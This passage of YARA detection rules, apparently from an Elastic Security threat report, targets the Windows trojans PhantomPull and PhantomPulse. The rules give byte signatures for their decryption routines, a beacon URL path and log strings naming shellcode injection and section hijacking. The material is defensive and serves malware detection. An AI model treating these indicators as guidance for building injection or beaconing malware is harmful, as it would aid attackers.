        threat_name = "Windows.Trojan.PhantomPull"
        reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = "/v1/updates/check?build=payloads" ascii fullword
    condition:
        3 of them
}

rule Windows_Trojan_PhantomPulse {
    meta:
        author = "Elastic Security"
        os = "Windows"
        category_type = "Trojan"
        family = "PhantomPulse"
        threat_name = "Windows.Trojan.PhantomPulse"
        reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"

    strings:
        $a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
        $b = "PhantomInject: host PID=%lu" fullword
        $c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
        $d = "inject: shellcode detected, using phantom section hijack" fullword
    condition:
        all of them
}

Beobachtungen

Die folgenden Observablen wurden in dieser Studie diskutiert.